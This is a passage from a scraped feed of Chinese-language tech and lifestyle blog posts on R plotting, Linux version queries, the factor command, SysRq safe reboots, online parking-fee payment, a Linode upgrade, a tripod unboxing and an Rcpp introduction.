不同，我們可以使用 t 將資料轉向：\nbarchart(t(gear.table2)) 將兩種資料拆開來畫成兩個並列的長條圖：\nbarchart(t(gear.table2), stack = FALSE) ggplot2 系統 在 ggplot2 系統中可以使用 geom_bar 來繪製長條圖：\nggplot(mtcars, aes(factor(gear))) + geom_bar() 繪製水平的長條圖：\nggplot(mtcars, aes(factor(gear))) + geom_bar() + coord_flip() 使用 aes 的 fill 參數可以讓不同的資料以不同的顏色表示：\nggplot(mtcars, aes(factor(gear), fill = factor(vs))) + geom_bar() + coord_flip() 將 geom_bar 的 position 參數設定為 dodge 可以讓長條圖並列顯示：\nggplot(mtcars, aes(factor(gear), fill = factor(vs))) + geom_bar(position=\u0026#34;dodge\u0026#34;) + coord_flip() 圓餅圖（Pie Charts） 圓餅圖的功能類似長條圖，可以呈現各類別所佔的比例。\nbase 系統 base 系統中可用 pie 繪製圓餅圖，而通常預設的邊界會過大，可用 par 調整：\npar(mar = c(1 ,1 ,1 ,1)) pie(gear.table) 自訂每個類別的名稱：\npie(gear.table, labels = c(\u0026#34;Three\u0026#34;, \u0026#34;Four\u0026#34;, \u0026#34;Five\u0026#34;)) 雖然圓餅圖是一個常用的圖形，不過 lattice 系統上並沒有提供可以直接繪製圓餅圖的函數。\nggplot2 系統 若要在 ggplot2 系統繪製圓餅圖，可以使用堆疊的長條圖，並以 coord_polar 來轉換，首先產生一個長條圖：\npie \u0026lt;- ggplot(mtcars, aes(x = factor(1), fill = factor(gear))) + geom_bar(width = 1) pie 使用 coord_polar 將圖型轉為極坐標：\npie \u0026lt;- pie + coord_polar(theta = \u0026#34;y\u0026#34;) pie 如果不想要顯示多餘的座標軸，可以加上 theme_void 把座標軸資訊都隱藏起來：\npie \u0026lt;- pie + theme_void() pie 其他繪圖套件 除了以上介紹的三大繪圖系統之外，在 R 中還有很多各式各樣的繪圖套件，例如：\nvcd：類別型資料的繪圖。 plotrix：繪製特殊圖形。 hexbin：繪製六角形的 binning 圖形。 scatterplot3d：繪製各種 3D 圖形。 misc3d：繪製各種 3D 圖形。 rgl：使用 OpenGL 繪製 3D 圖形。 rggobi：在 R 中使用 GGobi 顯示資料。 igraph：繪製圖論與網路的相關圖形。 最新的繪圖套件整理可以參考 R 官方網站的 CRAN Task View。\nPlotly for R 是一個開放原始碼的繪圖工具，可以讓使用者在瀏覽器中呈現互動式的圖形。\n參考資料 R 統計分析與資料探勘入門—以鳶尾花資料集為例 The R Graph Gallery Quick-R ","permalink":"https://blog.gtwang.org/r/r-data-exploration-and-visualization/","summary":"\u003cp\u003e這裡介紹如何使用 R 的基本資料探索函數與繪圖功能，檢視首次拿到的資料。\u003c/p\u003e\n\u003cp\u003e當我們將資料整理好並匯入 R 環境中之後，下一步就是要仔細檢視資料本身所含有的資訊，而最常被用來檢視原始資料的方法就是一些基本的統計量與各種圖形，R 本身就有內建計算各種統計量與繪圖的函數，以下我們將介紹比較常用的一些基本函數及其使用方式。\u003c/p\u003e","title":"R 資料探索與基本繪圖"},{"content":"這裡介紹如何查詢 Linux 的發行版名稱與版本資訊。\n在 Linux 系統之下若想要查詢發行版名稱與版本的資訊有許多種方法，而不同的 Linux 發行版適用的方式也不同，以下整理了一些常見的方法。\n查詢 Linux 發行版與版本 Linux 發行版（distribution）與版本就是指大家常聽到的 Ubuntu 16.04、Fedora 24、CentOS 7 這些名字，而要查詢 Linux 的發行版有以下幾中方式。\n查看 /etc/*-release 通常在 /etc 目錄中會有一些檔名為 *-release 的系統版本資訊檔，通常從這些檔案的內容就可以看出 Linux 的發行版名稱與版本號碼。首先可以使用 ls 列出所有的 /etc/*-release 檔案：\nls -l /etc/*-release -rw-r--r-- 1 root root 467 4月 15 2015 /etc/os-release -rw-r--r-- 1 root root 40 4月 15 2015 /etc/redhat-release lrwxrwxrwx 1 root root 14 10月 20 2015 /etc/sl-release -\u003e redhat-release lrwxrwxrwx 1 root root 14 10月 20 2015 /etc/system-release -\u003e redhat-release 雖然檔案名稱有 redhat 的字樣，但是實際的 Linux 發行版名稱還是要看裡面的內容才知道：\ncat /etc/redhat-release Scientific Linux release 7.1 (Nitrogen) os-release 裡面還有更詳細的資訊：\ncat /etc/os-release NAME=\"Scientific Linux\" VERSION=\"7.1 (Nitrogen)\" ID=\"rhel\" ID_LIKE=\"fedora\" VERSION_ID=\"7.1\" PRETTY_NAME=\"Scientific Linux 7.1 (Nitrogen)\" ANSI_COLOR=\"0;31\" CPE_NAME=\"cpe:/o:redhat:enterprise_linux:7.1:GA\" HOME_URL=\"http://www.scientificlinux.org//\" BUG_REPORT_URL=\"scientific-linux-devel@listserv.fnal.gov\" REDHAT_BUGZILLA_PRODUCT=\"Scientific Linux 7\" REDHAT_BUGZILLA_PRODUCT_VERSION=7.1 REDHAT_SUPPORT_PRODUCT=\"Scientific Linux\" REDHAT_SUPPORT_PRODUCT_VERSION=7.1 從上面這些資料看起來這個 Linux 系統是 Scientific Linux release 7.1。以下則是 Ubuntu Linux 16.04 的狀況：\ncat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=16.04 DISTRIB_CODENAME=xenial DISTRIB_DESCRIPTION=\"Ubuntu 16.04 LTS\" cat /etc/os-release NAME=\"Ubuntu\" VERSION=\"16.04 LTS (Xenial Xerus)\" ID=ubuntu ID_LIKE=debian PRETTY_NAME=\"Ubuntu 16.04 LTS\" VERSION_ID=\"16.04\" HOME_URL=\"http://www.ubuntu.com/\" SUPPORT_URL=\"http://help.ubuntu.com/\" BUG_REPORT_URL=\"http://bugs.launchpad.net/ubuntu/\" 使用 lsb_release 指令查詢 lsb_release 是一個用來查詢 Linux 發行版資訊的指令，但是並不是每一種 Linux 發行版預設都會安裝這個指令，使用時要碰運氣：\nlsb_release -a No LSB modules are available. Distributor ID:\tUbuntu Description:\tUbuntu 16.04 LTS Release:\t16.04 Codename:\txenial 像在 Scientific Linux 中就沒有這個指令可以用：\nlsb_release -a bash: lsb_release: 找不到指令... 查詢 Linux 核心版本 Linux 核心版本跟發行版的版本是不一樣的東西，Linux 核心版本通常是比較進階的系統開發者或管理者才會需要用到，它看起來會類似 Linux 4.4.0-24-generic，以下是幾種 Linux 核心版本的查詢方式。\n使用 uname 指令查詢 uname 是一個用來查詢 Linux 系統核心資訊的指令：\nuname -a Linux my-server 3.10.0-229.el7.x86_64 #1 SMP Mon Mar 9 16:14:50 CDT 2015 x86_64 x86_64 x86_64 GNU/Linux 這是 Ubuntu Linux 16.04 的狀況：\nuname -a Linux ubuntu-pc 4.4.0-24-generic #43-Ubuntu SMP Wed Jun 8 19:27:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 查看 /proc/version 在 /proc/version 中也會紀錄一些 Linux 的核心版本資訊：\ncat /proc/version Linux version 3.10.0-229.el7.x86_64 (mockbuild@sl7-uefisign.fnal.gov) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Mon Mar 9 16:14:50 CDT 2015 這是 Ubuntu Linux 16.04 的狀況：\ncat /proc/version Linux version 4.4.0-24-generic (buildd@lgw01-12) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2.1) ) #43-Ubuntu SMP Wed Jun 8 19:27:37 UTC 2016 參考資料 nixCraft linux.com ","permalink":"https://blog.gtwang.org/linux/find-linux-distribution-name-version-number/","summary":"\u003cp\u003e這裡介紹如何查詢 Linux 的發行版名稱與版本資訊。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統之下若想要查詢發行版名稱與版本的資訊有許多種方法，而不同的 Linux 發行版適用的方式也不同，以下整理了一些常見的方法。\u003c/p\u003e","title":"查詢 Linux 的發行版名稱與版本教學"},{"content":"這裡介紹如何使用 Linux 的 factor 指令，計算數值的質因數分解。\n在 Linux 中若想要計算一個數字的質因數分解，可以使用 factor 這個指令，使用方式如下：\nfactor 40 40: 2 2 2 5 也可以同時計算多個數字的質因數分解：\nfactor 40 78 1280 2900 40: 2 2 2 5 78: 2 3 13 1280: 2 2 2 2 2 2 2 2 5 2900: 2 2 5 5 29 factor 也可以從標準輸入讀取資料：\necho 1234 | factor 1234: 2 617 參考資料 HowtoForge ","permalink":"https://blog.gtwang.org/linux/linux-factor-command-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Linux 的 \u003ccode\u003efactor\u003c/code\u003e 指令，計算數值的質因數分解。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e在 Linux 中若想要計算一個數字的質因數分解，可以使用 \u003ccode\u003efactor\u003c/code\u003e 這個指令，使用方式如下：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003efactor \u003cspan class=\"m\"\u003e40\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cpre class=\"output\"\u003e40: 2 2 2 5\u003c/pre\u003e\n\u003cp\u003e也可以同時計算多個數字的質因數分解：\u003c/p\u003e","title":"Linux 質因數分解 factor 指令用法教學"},{"content":"本篇介紹如何上網繳納停車費，帳單掉了也沒關係，在家即可繳費，不用再跑便利商店。\n台灣各地方縣市政府都會在市區的道路上設置路邊停車格，車子若停在路邊收費的停車格後，就會收到收費員開的這種停車繳費單，平常好天氣時，只要拿這張單子到便利商店繳費即可，但若遇到颳風下雨、或是不想跑去便利商店的時候，也可以回家直接上網繳費，非常方便。\n全國繳費網提供了各種費用的繳納服務，在停車費方面，五都（台北市、新北市、台中市、台南市、高雄市）的路邊停車費都可以在上面查詢並繳納，只要輸入自己的車號就可以查詢積欠的停車費，並且使用網路 ATM 轉帳繳費，完全不用手續費，就算繳費單不見了也沒有關係，以下是上全國繳費網繳納停車費的步驟。\n以我個人使用各家銀行的網路 ATM 經驗來說，Firefox 瀏覽器是比較不容易出問題的瀏覽器（除了限定 IE 瀏覽器的外掛之外），所以我這裡是使用 Firefox 瀏覽器來做示範。\n如果您有玉山銀行的帳戶，而且有申請網路銀行，也可以使用玉山的網路銀行線上繳納停車費，步驟更簡單而且更快速。\nStep 1\n開啟全國繳費網的網頁，如果是第一次使用的人，要先安裝安控元件，請點選網頁上方的「自我環境檢測」。\nStep 2\n如果是第一次使用的人，會出現「安控元件不存在」或「未安裝安控元件，無法偵測」的訊息，請點選網頁上面的「安控元件下載」並且安裝。\n它的安控元件下載下來就是一個簡單的執行檔，執行後就會自動安裝，在安裝之前記得要先把瀏覽器關閉，安裝好之後再重新開啟瀏覽器。\nStep 3\n在全國繳費網首頁左邊選擇繳費項目，這裡我以台中市的路邊停車費來做示範。\nStep 4\n輸入自己的車牌號碼來查詢積欠的停車費。\nStep 5\n查詢的結果會列出每一筆帳單與金額，若要在線上進行繳費，則勾選要繳費的帳單，然後選擇付款方式，這裡我示範用一般的讀卡機與晶片金融卡來繳費（進行繳費前，請接上讀卡機）。\nStep 6\n進行繳費資訊確認，如果是第一次使用的人，在這裡可能會出現瀏覽器外掛的詢問訊息，請點選「允許」讓瀏覽器執行外掛程式。\nStep 7\n如果時常繳費的人，可以直接選擇「永遠允許」外掛程式執行，以後就不用每次都要重新點選。\nStep 8\n輸入驗證碼。\nStep 9\n插入晶片金融卡，輸入金融卡的密碼。\nStep 10\n按下「確認付款」。\nStep 11\n將金融卡從讀卡機上抽出來，然後再插進去，再按下「確認」按鈕。\nStep 12\n這樣就完成繳費了。\n","permalink":"https://blog.gtwang.org/life/ebill-pay-parking-fees-online/","summary":"\u003cp\u003e本篇介紹如何上網繳納停車費，帳單掉了也沒關係，在家即可繳費，不用再跑便利商店。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"停車繳費單\" loading=\"lazy\" src=\"/life/ebill-pay-parking-fees-online/pay-parking-fees-online-12.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e台灣各地方縣市政府都會在市區的道路上設置路邊停車格，車子若停在路邊收費的停車格後，就會收到收費員開的這種停車繳費單，平常好天氣時，只要拿這張單子到便利商店繳費即可，但若遇到颳風下雨、或是不想跑去便利商店的時候，也可以回家直接上網繳費，非常方便。\u003c/p\u003e","title":"全國繳費網：線上查詢與繳納停車費教學，帳單掉了也可以繳費"},{"content":"最近發現 Linode 的 VPS 虛擬專屬主機規格有調整，記憶體都變成原來的兩倍！\nLinode 是一家老牌子的 Linux VPS 主機供應商，其 VPS 有高效能的 SSD、40Gbps 的網路頻寬以及最新的 Intel E5 CPU，目前我的網站也是使用 Linode VPS 來架設的，今天登入 Linode 的管理頁面時，突然間意外發現有一個免費升級的通知：「A free upgrade is available for this Linode」。\n我原本使用的 VPS 是最初階的方案，記憶體大小是 1GB，而這次升級的內容是將原本使用的 1GB 記憶體升級為 2GB，而且整個升級都是免費的！\n若要升級的話，就點選「Enter the UPdate Queue NOW」按鈕，然後將自己的主機排進升級佇列中等待，等到輪到自己的主機進行升級時，系統會將整個 VPS 搬到新的 Linode 空間，大約需要 24 分鐘左右的時間，這段時間主機是處於關機的狀態。當然進行升級之前，自己的系統最好都要進行備份與關機，確保資料安全。\n這是目前 Linode 網頁上的 VPS 方案，每個方案幾乎都把記憶體升級成原來的兩倍，而且價格不變！我是感覺 Linode 這次升級相當低調，完全沒有任何宣傳廣告。\n我同時也查了一下 DigitalOcean 的 VPS 方案，發現它們的 VPS 還是維持以前的規格，也就是說目前同樣價格的 VPS，Linode 的記憶體會是 DigitalOcean 的兩倍。\n也許過一陣子 DigitalOcean 也會跟進，而現階段看起來 Linode 的 VPS 似乎比較划算。\n如果您想要自己架設網站，而且有考慮使用 Linode VPS 的話，可以參考 Linode VPS 虛擬專屬主機註冊與購買教學以及 Linode VPS 安裝 Ubuntu Linux 與基本安全性設定，另外本站也有許多網站架設的文章可以參考。\n","permalink":"https://blog.gtwang.org/web-hosting/linode-vps-memory-free-upgrade-201606/","summary":"\u003cp\u003e最近發現 Linode 的 VPS 虛擬專屬主機規格有調整，記憶體都變成原來的兩倍！\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode\u003c/a\u003e 是一家老牌子的 Linux VPS 主機供應商，其 VPS 有高效能的 SSD、40Gbps 的網路頻寬以及最新的 Intel E5 CPU，目前我的網站也是使用 Linode VPS 來架設的，今天登入 Linode 的管理頁面時，突然間意外發現有一個免費升級的通知：「A free upgrade is available for this Linode」。\u003c/p\u003e","title":"Linode VPS 虛擬專屬主機記憶體免費升級兩倍！"},{"content":"這裡介紹如何使用鍵盤上的 SysRq 鍵，讓當機的 Linux 重新開機安全地重新開機。\nLinux 系統雖然穩定性高，但是難免還是會有當機的狀況，如果遇到系統整個當掉，不論是從本機或是從遠端 SSH 都無法登入，但是鍵盤上的數字鍵盤鎖還有反應，這樣的狀況除了按電腦的 reset 按鈕強制重新開機之外，其實還可以使用 SysRq 鍵來挽救或是正常重新開機，這種方式可以確保硬碟上的資料不會因為不正常斷電而損毀。\nSysRq 鍵是什麼？ 一般的鍵盤上面都有一個 SysRq（system request）鍵，這個按鍵的位置就在 F12 的右邊，跟 PrtSc（print screen）鍵合在一起。\nSysRq 鍵俗稱 magic SysRq key，使用者可以靠這個鍵送出一些指令給 Linux 核心，除非整個系統完全當機，否則不管當時系統正在處理麼工作，藉由這樣的管道送出指令都可以讓 Linux 系統馬上回應，對於系統的救援相當有幫助。\n啟用 SysRq 鍵 若要在 Linux 系統上使用 SysRq 鍵，前提是在 Linux 核心編譯時必須啟用 CONFIG_MAGIC_SYSRQ 選項。\n在使用有支援 SysRq 鍵的 Linux 核心時，系統對於 SysRq 鍵的啟用狀態是紀錄在 /proc/sys/kernel/sysrq 中，以下是一些可能的數值與其意義。\n數值 說明 0 完全停用 SysRq 鍵的所有功能。 1 啟用 SysRq 鍵的所有功能。 大於 1 的數值 以位元遮罩（bit mask）設定個別的功能，請參考下表。 下表是各個位元所代表的意義：\n十進位數值 十六進位數值 說明 2 0x2 允許控制 console logging level。 4 0x4 允許鍵盤控制（SAK、unraw）。 8 0x8 允許行程的 debugging dumps。 16 0x10 允許同步（sync）所有掛載磁碟的寫入。 32 0x20 允許以唯讀（read-only）方式重新掛載所有磁碟。 64 0x40 允許對行程送出訊號，如 term、kill 與 oom_kill。 128 0x80 允許重新開機或關機。 256 0x100 允許重設所有高優先順序（real-time）行程的 nice 設定值。 使用者可以使用 cat 來查看目前系統的設定：\ncat /proc/sys/kernel/sysrq 176 這個值是十進位的數字，我們必須先將這個數字轉為二進位的表示法，才能看出目前的設定值：\necho \u0026#34;obase=2; 176\u0026#34; | bc 10110000 這樣就可以看出來 176 = 0x10 + 0x20 + 0x80，所以目前的設定是允許同步磁碟寫入、唯讀重新掛載磁碟與重新開機或關機。\n若要更改設定，則可以使用 echo 直接更改 /proc/sys/kernel/sysrq 的數值，例如若要啟用 SysRq 鍵所有的功能，則執行：\n# 更改 /proc/sys/kernel/sysrq 數值 sudo echo \u0026#34;1\u0026#34; \u0026gt; /proc/sys/kernel/sysrq 在指定數值時，也可以使用十六進位的形式指定，例如 0x10。\n/proc/sys/kernel/sysrq 的數值只會控制鍵盤上 SysRq 鍵的作用，另外還有一種方式是透過 /proc/sysrq-trigger 來啟動，而這種方式則是在任何情況都可以使用，不受 /proc/sys/kernel/sysrq 數值的影響。例如強制關機可以使用：\n# 強制關機 sudo echo o \u0026gt; /proc/sysrq-trigger 使用 SysRq 鍵 大部分鍵盤的 SysRq 鍵跟 PrtSc（print screen）鍵是同一個，而 SysRq 鍵的使用方式為：Alt + SysRq + 指令鍵，不同的指令鍵有不同的作用，下表是幾個比較常用的指令鍵。\n指令鍵 說明 r 將鍵盤解除 raw 模式（unraw）。 e 送出 SIGTERM 訊號至系統上所有的行程，讓所有正在執行中的程式正常關閉。 i 送出 SIGKILL 訊號至系統上所有的行程，強制所有正在執行中的程式立即關閉。 s 同步（sync）所有掛載磁碟的寫入，讓資料實際寫入實體磁碟。 u 以唯讀（read-only）方式重新掛載所有磁碟。 b 立即重新啟動系統（此動作並不會將資料同步寫入至硬碟，也不會讓硬碟卸載）。 n 重設所有高優先順序（real-time）行程的 nice 設定值。 f 呼叫 oom_kill 中止使用大量記憶體的行程。 o 將電腦直接關機。 k 中止目前 virtual console 下的所有程式（Secure Access Key，SAK）。 完整的指令鍵說明請參考 Linux Kernel 官方網站的文件。\n在系統安全性上，Secure Access Key（SAK）是一項很好用的功能，它可以在登入系統之前將所有目前終端機下的所有程式清除，確保登入的程式是直接從 init 衍生出來的，沒有任何的特洛伊木馬程式在終端機上執行，避免在登入時帳號與密碼被特洛伊木馬程式竊取。\nX Window 當機處理 如果 Linux 的桌面當機時，可以嘗試以下兩個方式來處理：\nAlt + SysRq + r 讓鍵盤解除 raw 模式，從 X server 取回鍵盤掌控權，接著就可以使用 Ctrl + Alt + F1 的方式切換到其他的 console 下，然後使用指令重新啟動 X Window。 Alt + SysRq + k 中止目前 virtual console 下的所有程式，包含整個 X Window。另外也可以嘗試使用 Ctrl + Alt + Backspace 來關閉 X Window（但這個方式不見得在每一個 X server 都可以使用）。 安全重新開機 在一般 Linux 當機的狀況下，若要重新啟動系統，可以按住 Alt + SysRq 兩個鍵，然後依序按下以下幾個指令鍵：\nr e i s u b 這些按鍵的意義都整理在上面的指令鍵表格中，依照這樣的順序可以盡可能促使所有的程式正常關閉、資料同步寫入磁碟之後，再重新啟動 Linux 系統，而在依照順序按下這些指令鍵時，每按完一個按鍵請等待幾秒鐘後，再繼續按下一個，讓電腦有時間處理每個動作。\n參考資料 HTG The Geek Stuff ","permalink":"https://blog.gtwang.org/linux/safe-reboot-of-linux-using-magic-sysrq-key/","summary":"\u003cp\u003e這裡介紹如何使用鍵盤上的 \u003ccode\u003eSysRq\u003c/code\u003e 鍵，讓當機的 Linux 重新開機安全地重新開機。\u003c/p\u003e\n\u003cp\u003eLinux 系統雖然穩定性高，但是難免還是會有當機的狀況，如果遇到系統整個當掉，不論是從本機或是從遠端 SSH 都無法登入，但是鍵盤上的數字鍵盤鎖還有反應，這樣的狀況除了按電腦的 reset 按鈕強制重新開機之外，其實還可以使用 SysRq 鍵來挽救或是正常重新開機，這種方式可以確保硬碟上的資料不會因為不正常斷電而損毀。\u003c/p\u003e","title":"使用 SysRq 鍵讓當機的 Linux 安全地重新開機"},{"content":"本文是曼富圖 Manfrotto 190T 鋁合金旋鈕式四節腳架與 MHXPRO-3W 三向雲台（MK190XPRO4T-3W 套組）的簡單開箱文。\n最近需要出外拍攝一些全景的照片，而我之前買的一隻曼富圖 Manfrotto MKCOMPACTLT COMPACT 腳架雖然還不錯，便宜又好用，但是它的雲台是球形雲台，若要拍攝全景照就很困難，索性直接買一隻好一點的三向雲台腳架。\n老實說我對於腳架也沒什麼研究，只是因為之前買過兩隻曼富圖的腳架（另一支是 Manfrotto 209 492 Long 桌上型腳架），感覺都很不錯，使用了一小段時間都很滿意，所以這次也是選曼富圖的一支稍微高級一點的腳架。\n我這次預算大約是一萬以下，從網路上看了好久，發現這個價位附近的曼富圖腳架有好幾款，後來從露天拍賣上看到曼富圖的 MK190XPRO4T-3W 套組，包含一支曼富圖 Manfrotto 190T 鋁合金旋鈕式四節腳架與一個 MHXPRO-3W 三向雲台，正成官方的建議售價是 18,000 元，最近有五折的優惠價 8,980 元，還加送一個曼富圖的腳架袋，看起來很划算，就直接買下來了。\n這次從露天拍賣下標付款之後，賣家馬上就出貨，隔天早上就收到，速度非常快。\n打開外箱之後，裡面有一支 190T 的腳架、一個雲台以及附贈的腳架袋。\n另外右邊有一個相機用的 BLS-5 鋰電池是我這次順便一起買的（這一顆價格是 350 元）。\n這是曼富圖190T 腳架的外盒，看起來比我想像中還大支，有點擔心外出時太重背不動。\n這是曼富圖 190T（MT190XPRO4T）腳架外盒上的詳細規格標示，產地是義大利。\n腳架外盒上的正成公司貨保固貼紙。\n這是曼富圖 190T（MT190XPRO4T）腳架、正成官方保證書與使用說明書。\n腳架本身有一個氣泡水平儀。\n這一款曼富圖 XPRO 系列腳架比較特別的地方就是可以將中柱打橫放。\n腳架側邊有一個連接孔，可以接 LED 燈、反光罩或其他配件。\n腳架的伸縮是以螺旋扭控制，感覺還不錯。\n這是曼富圖 MHXPRO-3W 三向雲台的外盒。\n這是曼富圖 MHXPRO-3W 三向雲台的外盒上面的詳細標示，這個雲台是義大利製造的。\n雲台外盒上的正成公司貨保固貼紙。\n這是曼富圖 MHXPRO-3W 三向雲台、正成官方保證書與使用說明書。\n這是雲台下方連接腳架的位置。\n雲台上方的快拆座。\n控制傾斜角度與縱向移動的摩擦力控制鈕。\n這是把雲台接上腳架後的樣子，旋轉把手是可以伸縮的，使用時可以把它拉開。\n把雲台的快拆板拿下來的樣子。\n雲台的快拆板背面。\n我拿我的一台舊的 Olympus E-520 來示範裝上相機的樣子。\n雲台的快拆板有多一道安全卡榫，防止不小心扳到卡榫造成相機掉落。\n接上相機後，可以再用摩擦力控制鈕調整摩擦力，這個設計還不錯。\n腳架上的氣泡水平儀，可以看腳架本身的水平。\n腳架上的氣泡水平儀是可以自己調整方向的，使用者可以將氣泡水平儀轉到靠近自己這一邊，方便調整水平。\n雲台中間有一個旋轉角度的刻度，這個在拍攝全景照時應該很實用。\n雲台本身也有三向氣泡水平儀。\n這是將四節腳架打開的樣子，中柱都沒升起來，接上雲台與相機，就已經比人還高了。\n腳架上有一個可以調整腳架打開角度的卡榫，透過這個卡榫可以讓腳架打開呈現各種角度。\n這是把腳架打開比較大一點的角度。\n這隻腳架最特別的就是 90 度的中柱設計。\n將中柱打橫放之後，可以拍攝一般腳架無法達到的角度。\n這是附贈的曼富圖腳架袋。\n我原本想說有個腳架袋，剛好可以裝整支腳架，但不幸的是這個雲台太大了，裝不進去。\n所以在收納時，要把雲台拆下來另外裝。\n","permalink":"https://blog.gtwang.org/unboxing/manfrotto-mk190xpro4t-3w-190t-mhxpro-3w/","summary":"\u003cp\u003e本文是曼富圖 Manfrotto 190T 鋁合金旋鈕式四節腳架與 MHXPRO-3W 三向雲台（MK190XPRO4T-3W 套組）的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近需要出外拍攝一些全景的照片，而我之前買的一隻\u003ca href=\"/unboxing/manfrotto-mkcompactlt-compact-unboxing/\"\u003e曼富圖 Manfrotto MKCOMPACTLT COMPACT 腳架\u003c/a\u003e雖然還不錯，便宜又好用，但是它的雲台是球形雲台，若要拍攝全景照就很困難，索性直接買一隻好一點的三向雲台腳架。\u003c/p\u003e","title":"[開箱] 曼富圖 Manfrotto 190T 四節腳架與 MHXPRO-3W 三向雲台（MK190XPRO4T-3W 套組）"},{"content":"Rcpp 是一個可以讓 R 透過 C++ 語言提升執行效能的套件，其使用方式簡單、上手容易，且對於耗時的運算相當有幫助，是一個很實用的套件。\n由於 R 屬於高階語言，相較於 C/C++ 這類的低階語言，R 程式的執行速度比較慢，對於較為耗時的運算（例如蒙地卡羅類型的模擬）來說，若只使用單純的 R 語言來處理，時常會遇到計算時間過長的問題。\n傳統上運算速度的問題可以使用 R 本身所提供的 C 或 Fortran 語言介面，將程式中耗時的部分以 C 或 Fortran 改寫，然而 R 本身的低階語言介面相當複雜，對於一般人而言不容易使用，通常只有 R 的套件開發者有能力使用這樣的功能。\nRcpp 是後來發展出來的一個套件，它在 R 中提供了一個非常簡單又好用的 C++ 語言介面，讓一般的使用者可以很輕鬆的結合 R 與 C++ 程式，降低程式開發的技術門檻，大幅提高 R 程式的執行速度，近年來 Rcpp 已經成為 R 高效能運算領域非常重要的套件之一。\n適合使用 C++ 的問題 C++ 語言雖然執行效率比 R 語言更好，不過並不是每一種問題都適合使用 C++ 來處理，以下是幾種非常適合使用 C++ 來處理的典型問題類型：\n無法轉換成向量化的迴圈運算，例如每次迭代都會跟前一次迭代的運算結果有關的迴圈。 遞迴呼叫的函數或是需要大量重複執行的函數，因為在 C++ 中的函數呼叫會比 R 中的函數呼叫更有效率，所以這種狀況也適合以 C++ 改寫。 需要使用 R 所沒有支援的複雜資料結構時，也可以使用 C++ 與其標準函式庫（STL）來實做。 安裝 由於 Rcpp 套件在使用時會需要編譯 C++ 的程式碼，所以除了安裝 R 的 Rcpp 套件之外，還要再安裝系統上的 C++ 編譯器才能正常使用。\n安裝 Rtools 工具集 由於在 Windows 系統上通常並不會有安裝 C++ 編譯器，若要使用 Rcpp 套件，必須先安裝 Rtools 這個官方的工具集，而若是在 Linux 系統上的話，請安裝一般的 gcc/g++ 編譯器。\nRtools 工具集裡面包含了編譯 R 套件所需要的各種工具，而我們需要的就是其中的 gcc/g++ 編譯器。\nStep 1\n請從官方的 CRAN 網站上下載 Rtools 安裝檔。\nStep 2\n下載時請選擇適合自己 R 版本的 Rtools 安裝檔。\nStep 3\n下載下來之後，直接執行，進行安裝。首先選擇安裝用語言，選擇 English 即可，按下「OK」。\nStep 4\n這是 Rtools 工具集的說明資訊，其中最主要的就是 Cygwin 的仿 Linux 環境，請點選「Next」繼續。\nStep 5\n選擇安裝路徑，點選「Next」繼續。\nStep 6\n選擇安裝組件，使用預設值即可，點選「Next」繼續。\nStep 7\n其他設定，使用預設值即可，點選「Next」繼續。\nStep 8\n檢查安裝設定，確認無誤後，點選「Install」進行安裝。\nStep 9\n等待安裝過程。\nStep 10\n安裝完成，點選「Finish」結束。\n安裝 Rcpp 套件 R 官方的套件庫就有收錄 Rcpp 套件，直接以 install.packages 安裝即可：\ninstall.packages(\u0026#34;Rcpp\u0026#34;) 安裝完成後，即可載入使用：\nlibrary(Rcpp) 開始使用 Rcpp Rcpp 的 cppFunction 是一個可以讓您將 C++ 程式碼直接內崁至 R 程式碼中的包裝函數，其用法非常簡單，在詳細介紹之前，我們先來看一個典型的範例，先讓大家對 Rcpp 的使用有一個初步的概念。\n首先將 R 程式中需要大量運算的部分，改以 C++ 語言來撰寫：\nint cpp_add(int x, int y, int z) { int sum = x + y + z; return sum; } 這個 C++ 函數是傳入 x、y 與 z 三個整數，然後計算它們的總和（sum），最後將計算結果傳回。\n撰寫好 C++ 的計算函數之後，直接將 C++ 的整個程式碼內容當成參數，傳遞給 R 的 cppFunction 函數：\ncppFunction(\u0026#39;int cpp_add(int x, int y, int z) { int sum = x + y + z; return sum; }\u0026#39;) cppFunction 會對這段 C++ 程式碼自動進行編譯，並且載入至目前的 R 環境中，若 C++ 的程式碼沒有錯誤的話，這時候在 R 中就會建立好一個剛剛 C++ 中所定義的函數：\ncpp_add function (x, y, z) .Primitive(\".Call\")(, x, y, z) 而這個時候我們就可以在 R 中直接使用這個以 C++ 撰寫的 cpp_add 函數了：\ncpp_add(1, 2, 3) [1] 6 以上就是一個簡單的 Rcpp 使用範例，從這個範例您可以看得出來 Rcpp 的使用方式相當簡潔，不需要任何手動編譯的過程。\n由於使用 Rcpp 的同時也必須撰寫一些 C++ 程式，若事先對於 C++ 語言有基本的認識會有很大的幫助。\n以下我們將詳細介紹各種參數類型的用法，包含各類型的純量、向量、矩陣的輸入與輸出方式。\n無輸入、純量輸出 一個沒有輸入值、只有單一傳回值的 R 函數是這樣寫的：\none \u0026lt;- function() 1L 而若將這個 R 函數以 C++ 改寫，則會像這樣：\nint one() { return 1; } 這裡的 int（integer）是指定此函數的傳回值型態為整數，而 return 則是指定實際要傳回的數值。\n在 R 函數中可以省略 